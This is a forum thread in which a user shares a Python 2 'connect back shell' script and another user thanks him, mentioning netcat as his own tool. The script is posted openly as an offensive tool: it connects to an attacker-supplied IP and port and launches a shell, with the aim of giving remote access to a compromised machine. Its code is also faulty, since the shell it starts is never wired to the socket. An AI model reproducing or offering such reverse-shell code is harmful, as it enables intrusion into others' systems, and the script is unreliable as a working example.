Howdy, Stranger!

It looks like you're new here. If you want to get involved, click one of these buttons!

Top Posters

Who's Online (1)

Powered by Vanilla. Made with Bootstrap.
Connect back shell
  • s1n4
    Posts: 88
    Hi guys,

    #!/usr/bin/python


    # Connect back shell

    from os import system, path
    from sys import argv, platform
    from time import sleep
    from socket import *

    if \"win\" in platform.lower() :
    system(\"cls\")

    if \"linux\" in platform.lower() :
    system(\"clear\")


    print '''
    ########## ##########
    ##### ____ _____ #####
    ##### ______/_ | ____ / | | #####
    ##### / ___/ | | / \ / | |_ #####
    ##### \___ \ | || | \/ ^ / #####
    ##### /____ > |___||___| /\____ | #####
    ##### \/ \/ |__| #####
    ##### #####
    ##### Connect back shell #####
    ##### #####
    ##### March 31, 2011 #####
    ##### s1n4_c0der[at]yahoo[dot]com #####
    ########## ##########'''


    try :
    ip = str(argv[1])
    port = int(argv[2])
    shell = str(argv[3])
    except :
    print '\n\t[-]Usage : %s <ip> <port> <shell>' % path.basename(argv[0])
    exit()

    try :
    sock = socket(AF_INET, SOCK_STREAM)
    print '\n\t[*]Connecting . . .'
    sleep(0.5)
    sock.connect((ip, port))
    print '\n\t[+]Connected successfully'
    sleep(0.5)
    except :
    print '\n\t[-]Connection error'
    exit()

    try :
    print '\n\t[*]Getting shell . . .\n'
    sleep(0.5)
    system(shell)
    except :
    print '\n\t[-]Shell error'


    Enjoy :)
  • Xin
    Posts: 3,251
    Nice share thanks s1n4, good clean code you got there
    Xin
  • s1n4
    Posts: 88
    No problem

    did you test it ?
  • Xin
    Posts: 3,251
    No i havent tested it, i use netcat for this.
    Xin